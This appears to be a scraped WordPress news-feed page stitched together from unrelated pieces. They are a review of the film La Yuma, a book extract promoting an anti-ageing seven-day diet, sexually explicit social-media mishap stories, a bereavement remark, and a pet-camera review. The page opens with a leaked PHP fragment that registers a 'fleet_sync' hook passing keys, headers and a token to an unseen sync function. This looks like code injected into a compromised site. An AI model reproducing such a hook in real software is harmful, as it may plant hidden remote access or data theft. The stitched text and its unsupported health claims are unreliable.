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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); That&#039ll – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 08 Oct 2018 16:02:21 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png That&#039ll – Brief News https://briefnews.eu 32 32 The Nicaraguan Film That'll Make You Angry Enough to Box, Happy Enough to Cry https://briefnews.eu/the-nicaraguan-film-thatll-make-you-angry-enough-to-box-happy-enough-to-cry/ https://briefnews.eu/the-nicaraguan-film-thatll-make-you-angry-enough-to-box-happy-enough-to-cry/#respond Mon, 08 Oct 2018 16:02:21 +0000 http://briefnews.eu/the-nicaraguan-film-thatll-make-you-angry-enough-to-box-happy-enough-to-cry/ With two small buns perched atop her head and sweat dripping down her face, Yuma socks the punching bag in swift succession — left, right, left. Repeat. The hits are intentional and forceful — there’s no mistaking how angry she is. Her boyfriend is a good-for-nothing drug dealer, her mother has left Yuma responsible for her three siblings and her mother’s boyfriend is a sexually harassing creep. Yuma (Alma Blanco) takes all that pent-up anger out on the punching bag — and later, on several people — which is endlessly satisfying to watch.

It’s no Hollywood blockbuster, but La Yuma is a touching Nicaraguan film from 2009 that will have you rooting for this scrappy young boxer to kick some ass. Though it’s nearly a decade old, the film still feels relevant. Surprisingly, it foreshadows the present-day youth protests throughout the country against the corrupt government of President Daniel Ortega.

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Yuma’s determination and grit provide all the makings of a rags-to-riches, underdog-on-top tale. Growing up in the poor neighborhoods of Managua among thieves and drug dealers has toughened young Yuma — she won’t let anybody mess with her dreams of getting out, with boxing as her ticket. A few minutes into the film, Yuma’s already on her way: Her trainer reveals she’ll be working with one of the country’s top boxing coaches, the infamous Polvorita. But it’s not this classic plotline that makes the film worth watching. Rather, it’s the quirky characters and random locations — including a male strip club — that create entertaining cinema.

Like Yuma’s boss at the clothing store. Ms. Scarlett is a stumpy, overly dramatic middle-aged woman in bright fuchsia lipstick, who constantly chastises Yuma for not dressing sexy enough. Then there’s Yuma’s boxing coach who is, inexplicably, also a male stripper on the side. Meanwhile, Yuma’s drug dealer boyfriend (or perhaps ex-boyfriend – the details are a little unclear), Culebra (“snake” in English) — a confused, heartbroken, wannabe gang banger — is tracking down her new lover and beating the crap out of him. For a good portion of the film, we watch Yuma fall in love with new boyfriend, Ernesto, a sweet but boring middle-class journalism student at the local university.

Each time someone tells Yuma that “women can’t box,” you’ll want to sock them in the face for her.

At its release, La Yuma was the first full-length fiction film to come out of Nicaragua in 20 years. Screenwriter and director Florence Jaugey, who is French-born but based in Nicaragua, left her job as an actress to begin writing, directing and producing her own films in the ’90s. When Jaugey set out to make La Yuma, there were very few resources to support the production of a feature film. But she was determined to tell the true story of contemporary Nicaragua that she observed while making documentaries. “I didn’t invent anything [for La Yuma],” Jaugey says. “I just put together the testimonies and characters I met filming.”

And while the film never gets too heavy, La Yuma does shed light on the youth protests against the crooked regime of President Daniel Ortega happening in the country today. From Yuma’s frustration with Managua’s neighborhood violence and her willingness to physically fight to escape it, to Ernesto’s desire to uncover the shady underpinnings of the Nicaraguan government, the film foreshadows the 2018 uprisings that continue to rock the country. “What’s happening in Nicaragua [today] is a pressure that exploded because the government has become less and less democratic year after year,” says Jaugey.

La Yuma can seem a bit chaotic at times — several subplots are never fully resolved and many of the characters are never developed — but it’s a charming coming-of-age story that paints a realistic picture of Nicaraguan adolescence. Each time someone tells Yuma that “women can’t box,” you’ll want to sock them in the face for her. And by the end of the film, her vindication is more than likely to bring a tear to your eye.

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The Turn Back Time diet is simple to follow and doesn’t involve depriving yourself of what you like!

Hormonal fluctuations mean our bodies interact with their environment differently and what worked for us in our 20s will not necessarily work in our 40s and beyond.

This can lead to a host of problems often associated with middle age including weight gain, aches and pains, low sex drive, fatigue, poor sleep, irritability and digestive problems.

However I firmly believe it doesn’t have to be like this. As a cosmetic doctor I have spent years studying the science of ageing and what I have found is that looking and feeling your best starts on the inside.

The truth is if you make a few simple tweaks to your lifestyle you really can turn back time. And the easiest place to start is by looking at what you eat. 

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The truth is if you make a few simple tweaks to your lifestyle you really can turn back time. And the easiest place to start is by looking at what you eat.

Dr Aamer Khan

There are numerous diets out there and in the UK we spend millions of pounds each year in our quest to lose weight.

Despite this the obesity problem continues to grow. This is because most diets are built on deprivation and this is unsustainable.

If you cut out foods you love and slash portion sizes you will end up hungry, lethargic and grumpy. And once you don’t feel good it won’t be long before you give up the diet for good and go back to your old ways.

So when creating the Turn Back Time diet I wanted a plan that was sensible and sustainable. I wanted a way of eating that would keep the body well and enable people to live life to the full.

This diet couldn’t be easier. There are no fancy ingredients or complicated recipes. Instead it’s about going back to basics and packing your diet with healthy, fresh, seasonal and whole foods. 

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A healthier diet can improve your mood

Best of all you can still have a little of what you fancy, be that a glass of wine with dinner or a sweet treat afterwards.

The first step is to get rid of processed foods and instead understand that nature provides everything you need. Then think about simple swaps you can make, such as switching from white bread to wholegrain or white rice to brown.

Below is a seven-day plan to get you started but once you’ve finished you can carry on, adapting the recipes and focusing on whole foods, lean protein and lots of vegetables.

When following the diet you can expect improved health, a healthier weight, more energy and a better mood.

The diet will also help balance your hormones which will help your body function at its optimal level.

I have included a simple workout as regular exercise is a key part of looking and feeling your best.

So why not give it a go? It’s for everyone at every age, it’s never too late to start.

● Consult your GP before starting this or any other eating plan to ensure it is suitable for you 

TOP TIPS

  • If you want something sweet after dinner, have a bowl of fruit salad and make a dressing with orange juice, a squeeze of lime juice and honey to sweeten
  • Make a healthy dessert by blending three frozen ripe bananas, 3tbsp cocoa powder, 1tsp almond butter and ½ cup almond milk

THE SEVEN-DAY PLAN: THE RULES

1. Drink a glass of water every hour.

2. When you wake up, eat five almonds along with two dates or 10 grapes to kick-start your metabolism and stabilise blood sugar. This should be about an hour before you have breakfast.

3. Make sure your meals and snacks are evenly spread throughout the day.

4. Your evening meal can be accompanied with 1-1.5 units of alcohol of your choice. 

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You can have as much non-starchy veg as you like

5. If you are hungry snack on nuts, berries and chicken breast. You can also eat as much non-starchy veg and salad as you like with meals.

6. Include a glass of milk in your diet each day, for calcium, either in tea or coffee or by itself.

DAY ONE

Breakfast: Coffee, two scrambled eggs, two slices smoked salmon.

Snack: Handful of cherries or a few nuts. 

Lunch: 60-90g chicken breast served with avocado, tomatoes, salad greens, drizzle of olive oil and balsamic vinegar.

Snack: Tea or fruit tea. Eight nuts of your choice.

Dinner: 120-180g grilled or roasted lamb with gravy made from the juices heated with onions, garlic, herbs, chopped tomatoes and salt and pepper. Serve with roasted sweet potato, green beans, kale and carrots.

DAY TWO

Breakfast: Coffee, grilled tomatoes, two slices grilled unsmoked bacon.

Snack: Small handful mixed nuts. 

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This diet still allows for a glass or two of wine with dinner

Lunch: Homemade lentil soup RECIPE

Snack: Tea or fruit tea. An apple or an orange.

Dinner: 120-180g grilled prawns that have been marinated in fresh chilli and lime juice. Serve with mixed salad with walnuts. Drizzle with dressing made from pomegranate molasses and olive oil.

DAY THREE

Breakfast: Coffee, two boiled eggs and one slice wholegrain bread soldiers. 

Snack: Chocolate and ginger protein ball (recipe on next page).

Lunch: Charcuterie platter of 30-60g cold meats and 30-60g cheese. Serve with salad made from avocado, mixed beans, tomatoes and leafy greens.

Snack: Small slice of cake and tea.

Dinner: Chicken and butternut squash with cabbage and green peas.

DAY FOUR

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Nuts can provide an addictive and healthy snack

Breakfast: Coffee, slice of sourdough toast with ½ avocado mashed on top.

Snack: Handful of cherries.

Lunch: Grilled quarter pounder burger served with slices of tomato and onion, ketchup, mustard and mixed salad.

Snack: Small handful almonds.

Dinner: 120-180g grilled seabass served with mixed leaves, tomato, avocado and walnut salad.

DAY FIVE

Breakfast: Coffee, two thickly cut slices of ham, one poached egg, steamed asparagus.

Snack: Handful of nuts.

Lunch: Homemade lentil soup.

Snack: Chocolate and ginger protein ball.

Dinner: 120-180g grilled rib-eye steak served with a mixed salad and sprinkling of shaved Parmesan. One peach.

DAY SIX

Breakfast: Coffee, muesli with almond or coconut milk.

Snack: Ginger and chocolate protein ball.

Lunch: Salad made with crispy romaine lettuce, prawns and anchovies.

Snack: Handful of dried fruit and nuts.

Dinner: Mixed vegetable frittata served with tomato, avocado and onion salad. One apple. 

DAY SEVEN

Take a break. Eat sensibly but enjoy the day and have a little of what you fancy.

THE RECIPES

Thick and hearty lentil soup

Serves six

1tsp butter; 2 large red onions, peeled and chopped; 3 large carrots, peeled and chopped; 3 sticks celery, diced; 2 garlic cloves, peeled and crushed; 1tsp turmeric; 4tbsp tinned chopped tomatoes; 1cm fresh ginger, peeled and chopped; 400g red lentils; 900ml vegetable stock; 1 bouquet garni; salt and pepper

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A hearty lentil soup can be a decadent delight

1. Heat butter in a large saucepan on a low heat. Add onions, carrots, celery and garlic, stirring with a wooden spoon. Sweat on a low heat for 40 minutes. Don’t rush this stage as it will give you a lovely flavour.

2. Add salt, pepper, turmeric, chopped tomatoes, ginger and mix.

3. Add lentils, stock and bouquet garni. Bring to the boil, then reduce heat to low and simmer for 35 minutes, stirring occasionally, until lentils have softened.

4. If you like a smooth soup, whizz with a hand blender until you have the desired consistency. 

Chicken and butternut squash

Serves four

2tbsp olive oil; 4 chicken legs, skin on; 1 butternut squash, peeled and chopped into 1cm pieces; 1 sweet potato, peeled and chopped into 1cm pieces; 2 onions, peeled and chopped; 6 garlic cloves, peeled and chopped

1. Preheat the oven to 190C/350F/ Gas 5. Heat ½tbsp olive oil in a roasting dish. Place chicken legs skin-side down and sear in the oil. Set aside.

2. Add remaining oil to a mixing bowl and add the butternut squash, sweet potato, onions and garlic. Toss until covered in oil. Add to roasting dish.

3. Place chicken legs skin-side up on top of the vegetables and roast for 45-60 minutes. Check chicken is fully cooked before serving. 

Chocolate and ginger protein balls

Serves 12

50g oats; 200g unsalted cashews or almonds; 200g medjool dates, pitted; 2tsp ground ginger; ½tsp grated fresh ginger; 2tbsp unsweetened cocoa powder; a little coconut oil for rolling out

1. Place oats and nuts in a blender and blitz until finely ground.

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2. Add dates and ground fresh ginger with half the cocoa powder. Blend until a thick dough.

3. Tip mixture out of blender bowl on to greaseproof paper. Shape into a ball with your hands and divide into 12 pieces.

4. Roll each piece into a small ball. Rub a little coconut oil on your hands to stop the balls sticking.

5. Arrange the balls on a plate and refrigerate for an hour. Remove from the fridge and dip each ball in the remaining cocoa powder. Will keep for up to a week in the fridge. 

Mixed vegetable frittata

Serves four

1tbsp olive oil; 2tbsp diced pancetta or chopped bacon; 1 small onion, peeled and diced; 2 garlic cloves, peeled and crushed; 4 mushrooms, peeled and chopped; ½ red pepper, sliced; 2 tomatoes, chopped; few handfuls chopped courgettes or any other leftover vegetables; 6 large eggs, beaten; 1tbsp cheddar, grated; 1tbsp flat-leaf parsley, chopped

1. Heat oil in frying pan and fry the pancetta or bacon, onion and garlic on a low heat until onion is golden.

2. Add vegetables and cook for a few minutes.

3. Meanwhile crack the eggs into a bowl, add salt and pepper and whisk together. Pour the eggs on to the vegetables and stir to combine.

4. Preheat the grill to medium. Reduce heat on the hob and cook frittata until edges start to set.

5. Place pan under grill. Once top starts to bubble, sprinkle cheese on top. Return to grill and cook until brown on top.

6. Tip frittata on to a plate, sprinkle with parsley and cut into quarters.

  • For more information see drkhansturnbacktime.com l Extracted by MERNIE GILMORE from Turn Back Time: Lose Weight And Knock Years Off Your Age by Dr Aamer Khan with Carole Malone (John Blake, £12.99). To order a copy call the Express Bookshop on 01872 562 310 or visit expressbookshop.co.uk

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1.This Ask.fm nightmare:

“I don’t know if anyone remembers Ask.fm (a site where you would anonymously ask people questions), but I used to stalk my crush on it mercilessly. It was connected to Facebook, and one time I was stalking him and accidentally shared his Ask.fm profile to my Facebook page without realising. Took about half an hour for my friends to start messaging me asking why I’d done it.”

– exccles

2.This complaint gone wrong:

“I’m part of a uni course Facebook group chat and about a year ago we were in a lecture, and this group of people were being loud and annoying. Anyway i bitched about it to my mates on our group message, but sent the message to the course message group. Everyone part of it (like 300 students) all got a notification of my message saying something along the lines of ‘yeah i think that girls name’s Carly.’ Safe to say she wasn’t happy being talked about.”

– nathanhine96

3.This terrible tale that will make you double check what you upload:

“When you accidentally post your boyfriend’s dick pic on Facebook. I was uploading a ton of pictures and my computer froze so I went to bed, thinking it got cancelled. Woke up to find out ALL my pics had uploaded. Yup, even those ones!!”

– caitlinjohansenr

4.This double plot twist:

“My cousin and I were on a holiday and ended up meeting this guy that she really hit it off with. They spent all weekend hanging out and things were looking good. Being the protective older cousin I decided to do a good old fashioned Facebook search on this guy to see what I could find, turns out he was married AND had a child! The worst part is that when I was creeping his engagement announcement I accidentally shared it to my timeline! Talk about awkward.”

– jaimievonk

5.This not-so-anonymous message:

“When I was in high school, a lot of my friends used Ask.fm and I wanted to join in on the fun. Since the site was anonymous, I felt gutsy and messaged a random guy that I had choir with, saying ‘did you know you’re really cute?’ To my horror, it turns out I had somehow unselected the anonymous feature so he knew it was me.”

– beccat4be38db53

6.This shower-sexting scenario:

“I took pictures in the shower to send to my (now ex) boyfriend, accidentally hit the ‘add to story’ button, then my phone shut down because the humidity from the shower was too much for it.”

– ifrubberduckys

7.This comment that’ll fill you with secondhand embarrassment:

“One time I was going to a choir festival, and I saw a post about it with my friend and this random dude who were both going, so thinking it was my friend that I hadn’t seen in months, I commented “I’m so excited!! I can’t wait to see you!!” but it was not my friend’s post that I commented on. IT WAS THE DUDE THAT I HAD NEVER EVEN TALKED TO.”

– myansweris42

8.This mortifying upload:

“It wasn’t me, but a friend I’d know since I was a kid accidentally uploaded about 10 pictures of his dick, all at different angles and measuring it to a deodorant can.”

– c4976b2754

10.This deeply regrettable Instagram picture:

“Once I accidentally posted a nude on Instagram! I didn’t know what to do, so i just deleted my account, with over 2000 followers!”

– jdog0128

11.This moment that sounds near impossible to recover from:

“I was hanging out with my best friend who didn’t have a Facebook at the time. We were talking shit on the mean girls from high school, and I let her use my phone to creep on their pages. She said she couldn’t find them, and I just assumed that they didn’t have accounts either. A couple of hours later my sister asked me what was up with my posts on Facebook. It turns out my friend wasn’t searching for their pages, she was updating my status with their individual names. So I had a different post for every person she tried to search for. I died a little on the inside that day.”

– meganw36

12.This proof that social media was a minefield even pre-smartphone:

“Back in the olden days, before smartphones were popular, we used to post statuses to Facebook through text messages. My phone at the time had a favourite number list, and my boyfriend at the time and Facebook were right next to each other. I was sending him some risqué photos one night, and someone texted me and asked why I’d posted my tits on Facebook. I had to run to the computer to log on and delete.”

– nirvanaa

13.This backfired bitching session:

“I was stalking this girl me and my friend hate and I took a screenshot of a post and DM’d it to my friend, right? Wrong. I sent it to the girl, along with the caption: ‘man that was pretty bitchy amiright? I’m starting to hate her more and more” and she then blocked me.”

– eveballer05

14.This Facebook fear come to life:

“My fiancé and I were talking about a girl we semi-knew in high school and how we thought she lived in the new town we moved to. I went on her Facebook to see and started to casual creep and accidentally tagged myself in an OLD picture of hers and did not realise until 3 days later. I have deactivated my account out of embarrassment.”

– alliej45f44e0c6

15.This petty revenge gone awry:

“I had a messy friendship ‘break-up’ with a girl I had been friends with for years. She was always so obsessed with getting loads of likes on her social media, so me being the petty person I am decided to go through all of her photos and unlike them. It wasn’t until I got to the end of her profile pictures that I realised that I had stopped unliking them and actually liking them!”

– hannahr4281991e9

17.This DM mix-up:

“This didn’t happen to me but it’s too good to not share. A friend of mine was talking to a guy that she followed on Instagram. One day he posted a picture of himself, so she DM’d that same picture to him with the heart-eyes emoji. But it turns out she actually DM’d the picture and emoji to another guy she previously talked to. The other guy immediately responded with ‘what the fuck??'”

– danielleg43d0c3abf

18.And this story that sounds like possibly the worst thing ever:

“I was having a little sexting session with someone on Instagram and opened the camera in the DM to send a video of me cumming. Turns out I wasn’t in the DMs anymore, I had uploaded it to Instastory for everyone to see. I panicked, closed the app, reopened it , but the video was still uploading. I turned off my phone, checked Insta on my iPad, and the Instastory had uploaded with my jizz shooting everywhere. I deleted it right in that second (note it was around 2am so I was hoping most people are asleep anyway). A minute passes by, got the first message saying ‘I don’t think you meant to share it with everyone.””

– Dénes Nagy via Facebook

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“I lost my dad this week. He was 92 years old, he had a good, long life. He lived his life exactly how he wanted: he was Christian Science his entire life. He never had medicine his whole life, never went a doctor. I never had a vaccination, we never had medicine growing up. He was very proud of me, he loved this show. He was a kind man, very accepting man. There was not one bone of judgement in his body. He was very funny, I think my brother Vance and I got his sense of humor from him.”

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I got my PetCube about a month after getting my first cat. I was going through pet-parent stress over leaving her alone all day. PetCube has a 1080p HD video, 138˚wide-angle view, night vision, 3x digital zoom, and two-way audio to help you best interact with your critter. And they all work seriously well. This app-enabled device is compatible with Alexa and allows you to play with your pets wherever you are. The majority of the time I use PetCube while I’m waiting for my train on the subway. I open the app, use the mic to wake up my cats (because I now have two since I got it), and then move the laser around and watch them chase it! It also allows you to let others connect to your “channel” so that they can play with your cats too. Which is maybe kind of creepy, but I think it is adorable and awesome. It seriously makes my day to be able to pull out my phone and play with my cats when I’m on vacation or just not home. All the love to this one.

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